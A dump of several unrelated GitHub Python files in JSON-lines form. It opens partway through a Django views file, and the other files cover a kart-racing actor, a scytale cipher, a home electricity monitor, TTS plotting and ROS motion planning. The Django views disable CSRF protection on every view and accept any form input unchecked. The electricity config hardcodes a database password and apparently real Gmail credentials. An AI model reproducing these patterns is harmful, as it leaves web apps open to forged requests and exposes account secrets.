\n def is_valid(self):\n return True\n \n @csrf_exempt\n def submit(self):\n api_url = 'http://127.0.0.1:8000/api/flow'\n \n\n name = self.data['name']\n url = self.data['url']\n type = self.data['type']\n quality = self.data['quality']\n outlet = self.data['outlet']\n interval = self.data['interval']\n\n # prepare post data and make API call\n data = {\n 'name': name,\n 'url': url,\n 'type': type,\n 'quality': quality,\n 'outlet': outlet,\n 'interval': interval,\n }\n \n response = requests.post(api_url, json=data)\n response.raise_for_status()\n\n@csrf_exempt\ndef createFlowView(request, **kwargs):\n\n form = CreateFlowForm(request.POST)\n\n if request.method == 'POST' and form.is_valid():\n form.submit()\n return redirect(reverse('flows'))\n\n return render(request, 'flows/create.html', {'form': form})\n\n@csrf_exempt\ndef outletsView(request, **kwargs):\n \n response = requests.get('http://127.0.0.1:8000/api/outlet')\n if response.status_code != 200 or response.text == '':\n processed = {}\n else:\n processed = response.json()\n\n return render(request, 'outlets/outlets.html', {'outlets': processed})\n\n\nclass CreateOutletForm(forms.Form):\n name = forms.CharField(max_length=255)\n path = forms.CharField(max_length=255)\n video = forms.CharField(max_length=255)\n thumbnail = forms.CharField(max_length=255)\n info = forms.CharField(max_length=255)\n \n def is_valid(self):\n \n return True\n \n @csrf_exempt\n def submit(self):\n api_url = 'http://127.0.0.1:8000/api/outlet'\n\n # get form data\n name = self.data['name']\n path = self.data['path']\n video = self.data['video']\n thumbnail = self.data['thumbnail']\n info = self.data['info']\n \n \n\n\n # prepare post data and make API call\n data = {\n 'name': name,\n 'path': path,\n 'video': video,\n 'thumbnail': thumbnail,\n 'info': info,\n }\n \n\n response = requests.post(api_url, json=data)\n response.raise_for_status()\n \n@csrf_exempt \ndef createOutletView(request):\n \n form = CreateOutletForm(request.POST)\n\n if request.method == 'POST' and form.is_valid():\n \n \n form.submit()\n return redirect(reverse('outlets'))\n else:\n form = CreateOutletForm()\n return render(request, 'outlets/create.html', {'form': form})\n\n@csrf_exempt\ndef settingsView(request, **kwargs):\n\n response = requests.get('http://127.0.0.1:8000/api/ping')\n response_text = response.text\n\n return render(request, 'settings.html', {'response': response_text})\n\n\n\n","repo_name":"SrAndromeda/Backloader-rework","sub_path":"backloader/theme/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38958658787","text":"# Author: Jose Rojas (jlrojas@utexas.edu)\n# Creation Date: 4/19/2022\n\nimport torch\nfrom torch.distributions import Bernoulli, Normal\nfrom functools import reduce\nimport numpy as np\nimport pystk\n\ndef new_action_net(n_outputs=1, type=\"linear_tanh\"):\n if type == \"linear_sigmoid\":\n return LinearWithSigmoid(n_outputs)\n elif type == \"linear_tanh\":\n return LinearWithTanh(n_outputs)\n else:\n raise Exception(\"Unknown action net\")\n \nclass BaseNetwork(torch.nn.Module):\n\n def __init__(self) -> None:\n super().__init__()\n self.activation = None\n\n def forward(self, x, train=None):\n return self.net(x)\n\nclass LinearNetwork(BaseNetwork):\n \n def __init__(self, activation, n_inputs, n_outputs, n_hidden, bias) -> None:\n super().__init__()\n self.activation = activation\n self.net = torch.nn.Sequential(\n #torch.nn.BatchNorm1d(3*5*3),\n torch.nn.Linear(n_inputs, n_hidden, bias=bias),\n torch.nn.ReLU(),\n torch.nn.Linear(n_hidden, n_outputs, bias=bias),\n self.activation()\n # torch.nn.HardSigmoid() # can train better than sigmoid, with less optimal output\n )\n\nclass LinearWithSigmoid(LinearNetwork):\n\n def __init__(self, n_inputs=1, n_outputs=1, n_hidden=20, bias=False) -> None:\n super().__init__(torch.nn.Sigmoid, n_inputs=n_inputs, n_outputs=n_outputs, n_hidden=n_hidden, bias=bias)\n \nclass LinearWithTanh(LinearNetwork):\n\n def __init__(self, n_inputs=1, n_outputs=1, n_hidden=20, bias=False) -> None: \n super().__init__(torch.nn.Tanh, n_inputs=n_inputs, n_outputs=n_outputs, n_hidden=n_hidden, bias=bias)\n\n def forward(self, x, train=None):\n if train == \"reinforce\":\n output = self.net(x)\n # the training output needs to be a probability\n output = (output + 1) / 2\n return output\n else:\n return super().forward(x)\n\nclass BaseActor:\n\n def __init__(self, action_net, train=None, reward_type=None):\n self.action_net = action_net.cpu().eval()\n self.train = train\n self.reward_type = reward_type\n\n def copy(self, action_net):\n return self.__class__(action_net, train=self.train, reward_type=self.reward_type)\n\n def sample_bernoulli(self, output):\n if self.action_net.activation == torch.nn.Tanh or \\\n self.action_net.activation == torch.nn.Hardtanh:\n output = (output + 1) / 2\n output = Bernoulli(probs=output).sample()\n return output\n\n def select_features(self, state_features):\n\n # this is only called for top level actors; nested actors are given features directly from their ancestors\n pass\n\nclass Agent:\n def __init__(self, *args, extractor=None, train=False, target_speed=None, **kwargs):\n self.nets = args\n self.train = train\n self.extractor = extractor\n self.accel = kwargs['accel'] if 'accel' in kwargs else 1.0\n self.use_accel = not reduce(lambda x, y: x or hasattr(y, \"acceleration\"), self.nets, False)\n self.target_speed = target_speed\n self.last_output = torch.Tensor([0, 0, 0, 0, 0]) \n \n def invoke_actor(self, actor, action, f):\n actor(action, actor.select_features(self.extractor, f), train=self.train) \n\n def invoke_actors(self, action, f):\n [self.invoke_actor(actor, action, f) for actor in self.nets]\n\n def get_feature_vector(self, track_info, kart_info, soccer_state=None, **kwargs):\n return self.extractor.get_feature_vector(track_info, kart_info, soccer_state, target_speed=self.target_speed, **kwargs)\n\n def __call__(self, track_info, kart_info, soccer_state=None, **kwargs):\n action = pystk.Action() \n action.acceleration = self.accel\n f = self.get_feature_vector(track_info, kart_info, soccer_state=soccer_state)\n f = torch.as_tensor(f).view(-1)\n self.invoke_actors(action, f) \n if self.use_accel:\n action.acceleration = self.accel \n return action\n","repo_name":"UTAustin-DL-2022-Team-Descenders/DL-Final-Project","sub_path":"notebooks/utils/base_actors.py","file_name":"base_actors.py","file_ext":"py","file_size_in_byte":4093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35970733294","text":"import requests\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\n#\n# to\t+870772533943\n#reply_email\tspots@contestcq.com\n# message\tSpot+goes+here\ns = requests.session()\nreq = s.get('http://connect.inmarsat.com/Services/Land/IsatPhone/SMS/sms.html')\nlogging.debug(req)\nr = s.post('http://connect.inmarsat.com/gsps.ashx', data = {'to':'+870772533943',\n 'reply_email' :'spots@contestcq.com',\n 'message': 'Spot+goes+here'\n })\nprint(r)\nprint(r.text)","repo_name":"bmo/bgan-broadcast","sub_path":"ToSat.py","file_name":"ToSat.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37628981197","text":"\"\"\"画面開発で使えるQtWidgets\nQLabel: ラベル\nテキストを後で設定する setText\n\n[説明ページ]\nhttps://tech.nkhn37.net/pyqt-widgets-list/#_setText\n\"\"\"\nimport sys\n\nfrom PyQt6 import QtCore as qtc\nfrom PyQt6 import QtGui as qtg\nfrom PyQt6 import QtWidgets as qtw\n\n\nclass MainWindow(qtw.QWidget):\n \"\"\"メインウィンドウ\"\"\"\n\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"QLabel\")\n self.resize(320, 240)\n\n # ===== QLabel テキストを後で設定する\n label = qtw.QLabel(self)\n label.setText(\"QLabel サンプル\")\n\n # 画面表示\n self.show()\n\n\ndef main():\n \"\"\"メイン関数\"\"\"\n app = qtw.QApplication(sys.argv)\n mv = MainWindow()\n sys.exit(app.exec())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nkhn37/python-tech-sample-source","sub_path":"python-libraries/pyqt/qtwidgets-basics/qlabel/qlabel_settext.py","file_name":"qlabel_settext.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7474549172","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*\n'''\n\tFichier de configuration pour FERG\n\t\n\tDéclaration de l'installation\n\t\n\t\n'''\n#Pour travailler sur les sources\nimport sys\nsys.path.insert(0,'../FGPIO')\nsys.path.insert(0,'../FUTIL')\n\ntry:\n\tfrom FGPIO.mcp300x_hspi_io import *\n\tfrom FGPIO.SCT013_v_io import *\n\tfrom FGPIO.relay_io import *\n\tfrom FGPIO.lcd_i2c_io import *\n\tfrom FGPIO.lum_capteur_io import *\n\tfrom FGPIO.buzz_io import *\n\tfrom FERG.compteur_edf import *\nexcept ImportError: \n\tpass\n\t\nfrom FERG.tempeDB import *\nfrom FERG.installation import *\nfrom FERG.circuit import *\nimport FUTIL.mails\n\ndef get_installation(physical_device = True):\n\t'''Renvoie une installation configurée\n\t\tsi physical_device == False : on ne déclara pas les capteurs, mais uniquement le \"squelette\" de l'installation\n\t'''\n\t#\n\t#########################################################\n\t#\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n\t#\t\t\t\tBASE DE DONNEES\t\t\t\t\t\t\t#\n\t#\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n\t#########################################################\n\t#\n\t# Base de données pour les consos electriques\n\tdb_elect = conso_electriqueDB( \\\n\t\t\t\t\tdb_name = 'tempeDB', \\\n\t\t\t\t\tuser = 'fred', \\\n\t\t\t\t\tpasswd='achanger', \\\n\t\t\t\t\thost = '192.168.10.10', \\\n\t\t\t\t\tmail = FUTIL.mails.gmail(gmail_account='fredthx@gmail.com', gmail_pwd='GaZoBuMeuh'))\n\t#\n\t#########################################################\n\t#\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n\t#\t\t\t\tMATERIEL\t\t\t\t\t\t\t\t#\n\t#\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n\t#########################################################\n\t#\n\tnom_compteur = 'General'\n\t\n\tif physical_device:\t\t\n\t\t# Nano pc : un Raspberry (ou pcduino)\n\t\tpc = rpiduino_io()\n\t\t#\n\t\t#Le capteur heure creuse est réalisé avec un detecteur de tension\n\t\t# Il fonctionne comme un bouton poussoir vers la masse.\n\t\tcapteur_heure_creuse = bt_io(pc.bcm_pin(24))\n\t\t#\n\t\t#Convertisseur Analogique/Numérique pour lecture analogique sur Rpi\n\t\tmcp3008 = mcp3008_hspi_io()\n\t\t#\n\t\t# Detecteur optique pour detection bande noire sur roue du compteur edf\n\t\tcapteur_roue = qrd1114_analog_io(mcp3008.pin[0])\n\t\t#\n\t\t# Led qui s'allume quand la bande noire de la roue est détectée\n\t\tled = led_io(pc.bcm_pin(16))\n\t\t#\n\t\t# Vieux compteur EDF\n\t\tcompteur = compteur_edf( \\\n\t\t\t\t\tcapteur = capteur_roue, \\\n\t\t\t\t\tcapteur_hc = capteur_heure_creuse, \\\n\t\t\t\t\tled = led, \\\n\t\t\t\t\tintensity_max = 45, \\\n\t\t\t\t\tenergy_tr = 2.5, \\\n\t\t\t\t\tnb_tours_mesure = 10, \\\n\t\t\t\t\tcounter = db_elect.get_last_counter(nom_compteur)*1000 )\n\t\t#\n\t\t# Les tores pour mesurer le courant sur différences circuits\n\t\ttores = {'circuit_1': SCT013_v_io(mcp3008.pin[1], Imax = 30.0, Vmax = 1.0), \\\n\t\t\t\t\t'circuit_ce': SCT013_v_io(mcp3008.pin[2], Imax = 30.0, Vmax = 1.0), \\\n\t\t\t\t\t'circuit_frigo': SCT013_v_io(mcp3008.pin[3], Imax = 30.0, Vmax = 1.0) \\\n\t\t\t\t\t}\n\t\t#\n\t\t#Relais de delestage du chauffe eau\n\t\tdeleste_chauffe_eau = relay_io(pc.bcm_pin(12))\n\t\tdeleste_chauffe_eau.off() # off : circuit fermé (pas de délestage)\n\t\t#\n\t\t#Buzzer pour alertes\n\t\tbuzzer = buzz_io(pc.bcm_pin(25))\n\t\t\n\telse:\n\t\ttores = {'circuit_1': None, \\\n\t\t\t\t\t'circuit_ce': None, \\\n\t\t\t\t\t'circuit_frigo': None, \\\n\t\t\t\t\t}\n\t\tcompteur = None\n\t\tdeleste_chauffe_eau = None\n\t\tbuzzer = None\n\t\n\t# Circuit général avec Compteur EDF de type vieux!\n\tcircuit_0 = circuit_general( \\\n\t\tnom = nom_compteur, \\\n\t\tpuissance_maxi = 10000,\n\t\tenergie_maxi_jour = 50000, \\\n\t\tcompteur = compteur)\n\t#########################################################\n\t#\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n\t#\t\t\t\tLES CIRCUITS\t\t\t\t\t\t\t#\n\t#\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n\t#########################################################\n\t#\n\t\n\t#Circuits secondaires mesurés\n\t\n\tcircuit_1 = circuit_mesure( \\\n\t\t\tnom = 'circuit_1', \\\n\t\t\tparent = circuit_0, \\\n\t\t\teclatable = True, \\\n\t\t\tpuissance_maxi = 2000, \\\n\t\t\tenergie_maxi_jour = 7000, \\\n\t\t\tcompteur = tores['circuit_1'])\n\n\tcircuit_ce = circuit_mesure( \\\n\t\t\tnom = 'circuit_ce', \\\n\t\t\tparent = circuit_1, \\\n\t\t\tpuissance_maxi = 1500, \\\n\t\t\tenergie_maxi_jour = 7000, \\\n\t\t\tcompteur = tores['circuit_ce'], \\\n\t\t\tdelest = deleste_chauffe_eau, \\\n\t\t\tpuissance_typique = 1300)\n\n\tcircuit_frigo = circuit_mesure( \\\n\t\t\tnom = 'circuit_frigo', \\\n\t\t\tparent = circuit_0, \\\n\t\t\teclatable = True, \\\n\t\t\tpuissance_maxi = 350, \\\n\t\t\tenergie_maxi_jour = 3000, \\\n\t\t\tcompteur = tores['circuit_frigo'])\n\t\n\tcircuits_mesures = [circuit_0, circuit_1, circuit_ce, circuit_frigo]\n\t\t\n\t# Circuit physique (ou appareil) non mesuré\n\t\n\tcongelateur = electric_device( \\\n\t\t\tnom = 'Congelateur', \\\n\t\t\tparent = circuit_frigo, \\\n\t\t\tpuissance_maxi = 130, \\\n\t\t\tenergie_maxi_jour = 1500, \\\n\t\t\tpuissance_typique = 110, \\\n\t\t\t#max_average_power = 0.75*110\n\t\t\t)\n\t\n\trefrigerateur = electric_device( \\\n\t\t\tnom = 'Refrigerateur', \\\n\t\t\tparent = circuit_frigo, \\\n\t\t\tpuissance_maxi = 230, \\\n\t\t\tenergie_maxi_jour = 2800, \\\n\t\t\tpuissance_typique = 190, \\\n\t\t\t#max_average_power = 0.75*190\n\t\t\t)\n\t\t\t\n\tbuanderie = electric_device( \\\n\t\t\tnom = 'Buanderie_chaufferie', \\\n\t\t\tparent = circuit_1)\n\t\n\telectric_devices = [congelateur, refrigerateur, buanderie]\n\t\n\t#\n\t#########################################################\n\t#\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n\t#\t\t\t\tL'INSTALLATION\t\t\t\t\t\t\t#\n\t#\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n\t#########################################################\n\t#\n\treturn installation( \\\n\t\t\t\tdb = db_elect, \\\n\t\t\t\tcircuits_mesures = circuits_mesures,\n\t\t\t\telectric_devices = electric_devices, \n\t\t\t\tseuil_delestage = 8000, \\\n\t\t\t\tbuzzer = buzzer)","repo_name":"FredThx/FERG","sub_path":"config - Copie.py","file_name":"config - Copie.py","file_ext":"py","file_size_in_byte":5220,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17035772277","text":"import rospy, hpp.corbaserver\nimport agimus_hpp.ros_tools as ros_tools\nfrom tf import TransformListener\nfrom .client import HppClient\nfrom dynamic_graph_bridge_msgs.msg import Vector\nfrom agimus_sot_msgs.msg import ProblemSolved, PlanningGoal\nfrom sensor_msgs.msg import JointState\nfrom std_msgs.msg import String, Empty, Bool\nfrom math import cos, sin\nfrom threading import Lock\nfrom omniORB import CORBA\nimport traceback\n\ndef _setGaussianShooter (hpp, q, dev):\n hpp.robot.setCurrentConfig (q)\n hpp.problem.setParameter (\"ConfigurationShooter/Gaussian/standardDeviation\",\n CORBA.Any(CORBA.TC_double, dev))\n hpp.problem.selectConfigurationShooter (\"Gaussian\")\n\n## Class that handles ROS motion planning requests and forward them to HPP.\n#\n# This class takes care of:\n# - setting the initial configuration of the planning problem\n# according to a policy. See PlanningRequestAdapter.modes.\n# - request the resolution of a planning problem.\n#\n# This class *does not* take care of:\n# - initializing the problem (loading the robot, the environment,)\n# - defining the goal.\n#\n# Connection with HPP is handle throw agimus_hpp.client.HppClient.\nclass PlanningRequestAdapter(HppClient):\n subscribersDict = {\n \"motion_planning\": {\n \"set_goal\" : [PlanningGoal, \"set_goal\" ],\n \"request\" : [Empty, \"request\" ],\n \"param\" : {\n 'init_position_mode': [ String, \"init_position_mode\" ],\n 'set_init_pose': [ PlanningGoal, \"set_init_pose\" ],\n },\n },\n }\n publishersDict = {\n \"motion_planning\": {\n \"problem_solved\" : [ ProblemSolved, 1],\n },\n }\n ## Mode to set the initial configuration of the planning problem.\n # There are three modes:\n # - \\c current: The current robot configuration, acquired from the PlanningRequestAdapter.topicStateFeedback.\n # The base pose is computed using tf and ROS parameter\n # \\c /motion_planning/tf/world_frame_name\n # - \\c estimated: The robot configuration, acquired from the PlanningRequestAdapter.topicEstimation\n # - \\c uesr_defined: The value passed with topic \\c /motion_planning/param/set_init_pose\n modes = [ \"current\", \"estimated\", \"user_defined\" ]\n\n def __init__ (self, topicStateFeedback):\n super(PlanningRequestAdapter, self).__init__ (connect=False)\n self.subscribers = ros_tools.createSubscribers (self, \"/agimus\", self.subscribersDict)\n self.publishers = ros_tools.createPublishers (\"/agimus\", self.publishersDict)\n\n self.topicStateFeedback = topicStateFeedback\n self.topicEstimation = \"/agimus/estimation/semantic\"\n self.q_init = None\n self.init_mode = \"user_defined\"\n self.get_current_state = None\n self.get_estimation = None\n self.tfListener = TransformListener()\n self.mutexSolve = Lock()\n if not rospy.has_param (\"/motion_planning/tf/world_frame_name\"):\n rospy.set_param (\"/motion_planning/tf/world_frame_name\", \"world\")\n self.robot_name = \"\"\n self.robot_base_frame = None\n\n def hpp (self, reconnect = True):\n hpp = super(PlanningRequestAdapter, self).hpp(reconnect)\n rjn = hpp.robot.getAllJointNames()[1]\n try:\n self.robot_name = rjn[:rjn.index('/')+1]\n except ValueError:\n self.robot_name = \"\"\n self.robot_base_frame = hpp.robot.getLinkNames(self.robot_name + \"root_joint\")[0]\n rootJointType = hpp.robot.getJointType(self.robot_name + \"root_joint\").lower()\n if rootJointType == \"anchor\":\n self.setRootJointConfig = lambda x : None\n elif rootJointType == \"jointmodelfreeflyer\":\n self.setRootJointConfig = lambda x : hpp.robot.setJointConfig(self.robot_name + \"root_joint\", x)\n elif rootJointType == \"jointmodelplanar\":\n self.setRootJointConfig = lambda x : hpp.robot.setJointConfig(self.robot_name + \"root_joint\", x[0:2] + [x[6]**2 - x[5]**2, 2 * x[5] * x[6]] )\n else:\n self.setRootJointConfig = lambda x : (_ for _ in ()).throw(Exception(\"Root joint type is not understood. It must be one of (anchor, freeflyer, anchor) and not \" + str(rootJointType)))\n return hpp\n\n def _JointStateToConfig(self, placement, js_msg):\n hpp = self.hpp()\n if self.q_init is not None:\n hpp.robot.setCurrentConfig(self.q_init)\n self.setRootJointConfig(placement)\n for jn, q in zip(js_msg.name, js_msg.position):\n size = hpp.robot.getJointConfigSize(self.robot_name + jn)\n if size == 2:\n hpp.robot.setJointConfig(self.robot_name + jn, [cos(q), sin(q)])\n else:\n hpp.robot.setJointConfig(self.robot_name + jn, [q])\n return hpp.robot.getCurrentConfig()\n\n def set_goal (self, msg):\n hpp = self.hpp()\n q_goal = self._JointStateToConfig(msg.base_placement, msg.joint_state)\n hpp.problem.resetGoalConfigs()\n hpp.problem.addGoalConfig(q_goal)\n\n def request (self, msg):\n self.mutexSolve.acquire()\n try:\n if self.init_mode == \"current\":\n self.set_init_pose (PlanningGoal(self.last_placement, self.last_joint_state))\n elif self.init_mode == \"estimated\":\n self.q_init = self.estimated_config\n hpp = self.hpp()\n self._validate_configuration (self.q_init, collision = True)\n rospy.loginfo(\"init done\")\n rospy.loginfo(str(self.q_init))\n hpp.problem.setInitialConfig(self.q_init)\n rospy.loginfo(\"configured\")\n t = hpp.problem.solve()\n rospy.loginfo(\"solved\")\n pid = hpp.problem.numberPaths() - 1\n time = t[0] * 3600 + t[1] * 60 + t[2] + t[3] * 1e-3\n # print \"Solved in\", t, \", path id\", pid\n rospy.loginfo(\"Path ({}) to reach target found in {} seconds\".format(pid, t))\n rospy.sleep(0.1)\n self.publishers[\"motion_planning\"][\"problem_solved\"].publish (ProblemSolved(True, \"success\", pid))\n except Exception as e:\n rospy.loginfo (str(e))\n rospy.loginfo (traceback.format_exc())\n rospy.sleep(0.1)\n self.publishers[\"motion_planning\"][\"problem_solved\"].publish (ProblemSolved(False, str(e), -1))\n finally:\n self.mutexSolve.release()\n\n def _validate_configuration (self, q, collision):\n hpp = self.hpp()\n if len(q) != hpp.robot.getConfigSize ():\n rospy.logerr (\"Configuration size mismatch: got {0} expected {1}\".format(len(q), hpp.robot.getConfigSize ()))\n return False\n if collision:\n valid, msg = hpp.robot.isConfigValid (q)\n if not valid:\n rospy.logerr (\"Configuration is not valid: {0}\".format(msg))\n return False\n # TODO in manipulation, check that it has a state.\n return True\n\n def estimation_acquisition (self, cfg):\n self.estimated_config = cfg.data\n\n def init_position_mode(self, msg):\n if msg.data in self.modes:\n if msg.data == self.init_mode: return\n self.init_mode = msg.data\n rospy.loginfo(\"Initial position mode: %s\" % msg.data)\n if self.get_current_state is not None:\n self.get_current_state.unregister()\n self.get_current_state = None\n if self.get_estimation is not None:\n self.get_estimation.unregister()\n self.get_estimation = None\n if msg.data == \"current\":\n self.get_current_state = rospy.Subscriber (self.topicStateFeedback, JointState, self.get_joint_state)\n elif msg.data == \"estimated\":\n self.get_estimation = rospy.Subscriber (self.topicEstimation, Vector, self.estimation_acquisition)\n\n def get_joint_state (self, msg):\n self.last_joint_state = msg\n try:\n world_frame = rospy.get_param (\"/motion_planning/tf/world_frame_name\")\n base = \"base_link\"\n p, q = self.tfListener.lookupTransform(world_frame, base, rospy.Time(0))\n self.last_placement = p + q\n except Exception as e:\n rospy.loginfo( str(e) )\n pass\n\n def set_init_pose(self, msg):\n self.q_init = self._JointStateToConfig(msg.base_placement, msg.joint_state)\n self._set_init_pose (msg)\n\n def _set_init_pose (self, msg):\n \"\"\" To allow reimplementation \"\"\"\n pass\n","repo_name":"agimus/agimus-hpp","sub_path":"src/agimus_hpp/planning_request_adapter.py","file_name":"planning_request_adapter.py","file_ext":"py","file_size_in_byte":8608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7140093395","text":"import math\nimport itertools as itools\n\nclass Skytale():\n def Encrypt(self, value, key, fillwhitespace = True):\n if(len(value)<= key):\n return value\n _value = value\n if fillwhitespace and ((len(value) % key) != 0):\n for i in range(key - (len(value)%key)):\n _value+= ' '\n\n return Skytale.Decrypt1(self, _value, math.ceil(len(value) / key))\n \n def Decrypt(self, value, key):\n if(len(value)<= key):\n return value\n if(len(value) % key == 0):\n return Skytale.Decrypt1(self, value, key)\n else:\n return Skytale.Decrypt2(self, value, key)\n \n def Decrypt1(self, value, key):\n return ''.join([value[i::key] for i in range(key)])\n\n def Decrypt2(self, value, key):\n dif = key - (len(value) % key)\n length = len(value) - (dif * (key - 1))\n\n result1 = [value[i:length:key] for i in range(key)]\n result2 = [value[length + i::key-1] for i in range(key-1)]\n\n return ''.join([a+b for a,b in itools.zip_longest(result1,result2, fillvalue='')])\n\n\n\ndef main():\n f = open(\"source_scytale.txt\", \"r\", encoding=\"utf-8\")\n source_scytale = f.read()\n f.close()\n\n\n f = open(\"encrypted_scytale.txt\", \"r\", encoding=\"utf-8\")\n encrypted_scytale = f.read()\n f.close()\n\n c = Skytale()\n\n encrypted = c.Encrypt(source_scytale, 93, False)\n d = c.Decrypt(encrypted,93)\n decrypted = c.Decrypt(encrypted_scytale, 93)\n\n if(source_scytale != decrypted or encrypted_scytale != encrypted):\n print(\"Check files failed.\")\n else:\n print(\"Check files succedded.\")\n\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Florian-Krax/WDT-PZD-Group-3","sub_path":"Project 1/Skytale.py","file_name":"Skytale.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41948090752","text":"import xml.etree.ElementTree as ET\nimport os\nimport re\nfrom GEarth import constants as c\n\n#global variables\n#-----------------------------------\ncoordsFile = None\n#kml variables\ntree = None\nroot = None\ncoordTag = None\n\ndef is_float(text):\n try:\n float(text)\n return True\n except ValueError:\n return False\n\ndef initialize_environment():\n #print(\"gps_init_env called\")\n #create data direcory for logging if it doesnt already exist\n if(not os.path.exists(c.GEARTH_DATA_DIR)):\n os.mkdir(c.GEARTH_DATA_DIR)\n\n global coordsFile\n coordsFile = open(c.COORDS_FILE, \"w\")\n\n \ndef initialize_gearth():\n global tree\n global root\n global coordTag\n tree = ET.parse(c.TEMPLATE_FILE)\n root = tree.getroot()\n for matchingTag in root.iter(\"{http://www.opengis.net/kml/2.2}coordinates\"):\n\t coordTag = matchingTag\n\n\ndef is_coordinate(data):\n try:\n data = re.split(\" |,\" , data.strip())\n if(len(data) == 3):\n if(is_float(data[0]) and is_float(data[1]) and is_float(data[2])):\n if(abs(float(data[0])) < 90 and abs(float(data[1])) < 180):\n return True\n except: \n pass\n return False\n\n\ndef gearth(data):\n if(is_coordinate(data)):\n global coordsFile\n data = data.strip() + \"\\n\"\n coordsFile.write(data)\n\n data = re.split(\" |,\", data)\n lat = data[0]\t\t\t\t\t#redundant conversion to make sure no transmission error\n lon = data[1]\n alt = str(float(data[2]))\n kmlCoordLine = lon + \",\" + lat + \",\" + alt + \"\\n\"\n global coordTag\n global tree\n coordTag.text = coordTag.text + kmlCoordLine\n tree.write(c.TRAJECTORY_KML)\n else:\n pass\n print(\"not coordinate: \" + data)\n \n","repo_name":"pbroome4VT/PayloadGround","sub_path":"GEarth/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42294925986","text":"import torch\nimport librosa\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom TTS.utils.text import phoneme_to_sequence, sequence_to_phoneme\n\n\ndef plot_alignment(alignment, info=None, fig_size=(16, 10), title=None):\n if isinstance(alignment, torch.Tensor):\n alignment_ = alignment.detach().cpu().numpy().squeeze()\n else:\n alignment_ = alignment\n fig, ax = plt.subplots(figsize=fig_size)\n im = ax.imshow(\n alignment_.T, aspect='auto', origin='lower', interpolation='none')\n fig.colorbar(im, ax=ax)\n xlabel = 'Decoder timestep' \n if info is not None:\n xlabel += '\\n\\n' + info\n plt.xlabel(xlabel)\n plt.ylabel('Encoder timestep')\n # plt.yticks(range(len(text)), list(text))\n plt.tight_layout()\n if title is not None:\n plt.title(title)\n return fig\n\n\ndef plot_spectrogram(linear_output, audio, fig_size=(16, 10)):\n if isinstance(linear_output, torch.Tensor):\n linear_output_ = linear_output.detach().cpu().numpy().squeeze()\n else:\n linear_output_ = linear_output\n spectrogram = audio._denormalize(linear_output_) # pylint: disable=protected-access\n fig = plt.figure(figsize=fig_size)\n plt.imshow(spectrogram.T, aspect=\"auto\", origin=\"lower\")\n plt.colorbar()\n plt.tight_layout()\n return fig\n\n\ndef visualize(alignment, spectrogram_postnet, stop_tokens, text, hop_length, CONFIG, spectrogram=None, output_path=None):\n if spectrogram is not None:\n num_plot = 4\n else:\n num_plot = 3\n\n label_fontsize = 16\n fig = plt.figure(figsize=(8, 24))\n\n plt.subplot(num_plot, 1, 1)\n plt.imshow(alignment.T, aspect=\"auto\", origin=\"lower\", interpolation=None)\n plt.xlabel(\"Decoder timestamp\", fontsize=label_fontsize)\n plt.ylabel(\"Encoder timestamp\", fontsize=label_fontsize)\n if CONFIG.use_phonemes:\n seq = phoneme_to_sequence(text, [CONFIG.text_cleaner], CONFIG.phoneme_language, CONFIG.enable_eos_bos_chars)\n text = sequence_to_phoneme(seq)\n print(text)\n plt.yticks(range(len(text)), list(text))\n plt.colorbar()\n\n stop_tokens = stop_tokens.squeeze().detach().to('cpu').numpy()\n plt.subplot(num_plot, 1, 2)\n plt.plot(range(len(stop_tokens)), list(stop_tokens))\n\n plt.subplot(num_plot, 1, 3)\n librosa.display.specshow(spectrogram_postnet.T, sr=CONFIG.audio['sample_rate'],\n hop_length=hop_length, x_axis=\"time\", y_axis=\"linear\")\n plt.xlabel(\"Time\", fontsize=label_fontsize)\n plt.ylabel(\"Hz\", fontsize=label_fontsize)\n plt.tight_layout()\n plt.colorbar()\n\n if spectrogram is not None:\n plt.subplot(num_plot, 1, 4)\n librosa.display.specshow(spectrogram.T, sr=CONFIG.audio['sample_rate'],\n hop_length=hop_length, x_axis=\"time\", y_axis=\"linear\")\n plt.xlabel(\"Time\", fontsize=label_fontsize)\n plt.ylabel(\"Hz\", fontsize=label_fontsize)\n plt.tight_layout()\n plt.colorbar()\n\n if output_path:\n print(output_path)\n fig.savefig(output_path)\n plt.close()\n","repo_name":"erogol/TTS_tf","sub_path":"utils/visual.py","file_name":"visual.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"82"} +{"seq_id":"34202249374","text":"# 내 풀이 52ms\nimport sys\ninput = sys.stdin.readline\n\nxa, ya, xb, yb, xc, yc = map(int, input().split())\nif (xa-xb)*(ya-yc) == (xa-xc)*(ya-yb): # a를 기준으로 b와 c의 기울기 확인, 같으면 -1 출력\n print(-1.0)\nelse: \n ab = ((xa-xb)**2 + (ya-yb)**2) 